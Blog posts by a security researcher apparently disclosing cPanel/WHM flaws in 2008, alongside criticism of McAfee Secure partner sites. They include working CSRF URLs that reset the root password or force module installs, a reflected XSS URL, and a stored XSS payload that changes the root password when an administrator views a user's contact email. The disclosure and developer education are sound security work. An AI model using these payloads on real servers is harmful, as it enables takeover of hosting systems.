Finally let's look at the partners, who we have to assume will help provides us "a secure online shopping experience with thousands of McAfee SECURE sites". The sites at become.com and dealtime.com are themselves riddled with XSS and open redirect holes (not to mention storing the answer to a CAPTCHA within the form to be submitted).

With such poor decisions being made, can we really expect McAfee Secure to live up to its name?

More Fun With cPanel

I've had a few people contact me about this cPanel exploit- mostly people I'd rather not give further information to (sorry guys, but you're not even very good at being bad guys). Unfortunately, I also don't think anything will get fixed unless it gets made public.

I did some more work on the WHM interface, and it turns out that XSS isn't even necessary to change the root password. It can all be done with CSRF:
http://victim.com:2086/scripts/passwd?user=root&password=owned&password2=owned&submit-domain2=Change+Password

In case you're not familiar with CSRF, it is a vulnerability that is extremely underrated- forcing authenticated users to perform actions for you via well placed links, resource tags, or open redirects.

Let me repeat that: If you are logged into cPanel, and you hit a website that I can embed an image link in (which is nearly every web site out there, these days), I can root your server. I What's more, I won't leave any traces at all, because you actually root the server for me.

This is a big deal.

But it's worse than that. There are plenty of other CSRF holes in the WHM interface. Here, I can force you to download and install arbitrary code from cPanel's servers, downgrading or upgrading your software to a vulnerable version at will:

http://victim.com:2086/scripts2/saveuthemes?themetype=modules&${moduleName}=${versionNumber}

One final point, in case you think needing local access for my permanent XSS hole is too much work, here's a reflected XSS exploit:

http://victim.com:2086/scripts2/confdkillproc?%3Cscript%3Ealert(1337)%3C/script%3E=1&trusted=

Seriously, folks. Web-based management interfaces are a bad idea.

cPanel Root XSS

cPanel is the industry leader in web hosting management software. According to their website, the software is used on "tens of thousands of servers worldwide". Basically, cPanel provides all the traditional UNIX system administration tools through a web-based interface. The interface is very nice, and I have a healthy chunk of respect for the perl-fu of the developers that built it.

From a security aspect, however, the software is flawed by design. The first problem is that mass hosting is the dumbest idea in the world. I'll talk about that in future posts.

The second problem, and the point of this post, is that by combining low-level tools with a web interface, you tend to get the worst of both worlds. An attacker can use techniques from the still-relatively-new domain of web application security to perform old-school attacks that have been fixed many times over.

It turns out that you can, in fact, use cross-site scripting to hack a server

Here's an example. I have quite a few more XSS and CSRF holes, but this should suffice for making my point.

Every cPanel user's account contains a file titled .contactemail in its home directory. This is used to tell the server and administrators who to email when things go south, and can be changed by the user through the cPanel interface, the file manager tool, FTP, or through local scripts. It's only a text file, after all. Assuming we set our email address to:

"onmouseover="alert(1337)

When the friendly system administrator tries to reset our email address (because we forgot our password, obviously), he will receive an alert box in his browser.

But an alert box doesn't really demonstrate anything. Fortunately the WHM (Web Hosting Manager) interface has enough functionality that we can perform just about any system-level task we want. This one will reset the root password to 'owned':

"onmouseover="f=document.forms[0];f.action='/scripts/passwd';f.user.value='root';f.removeChild(f.domain);d=document.createElement('input');f.appendChild(d);d.name='password';d.value='owned';d=document.createElement('input');f.appendChild(d);d.name='password2';d.value='owned';f.submit()

Of course, the only limit is your imagination- WHM can set up cron jobs, add and delete users, send full backups to a server of your choice, and reformat hard drives.

I'll be honest- I like having a web-based administration for servers, routers, printers, and other appliances. Web standards are cross-platform, and browser support is getting better all the time. But do we really need to replace shell-based administration with a web interface? I'm not going to answer "no" right away, but if you're going to do it, you need to be aware of the risks, and awfully careful.

Based on my experiences as both a coder and a penetration tester, a huge majority of developers (even the really good ones) don't understand what security risks there are, much less how to mitigate them. This isn't a problem that is limited to web developers, but it is much more pronounced in that field.

With that in mind, many of my future posts are going to be directed not to other security researchers, but to developers. If they are going to make an interface for managing a server, hopefully they care enough to educate themselves on the risks.

The exploit code above was last tested with cPanel 11.23.4-R26118/WHM 11.23.2 on 8-4-2008.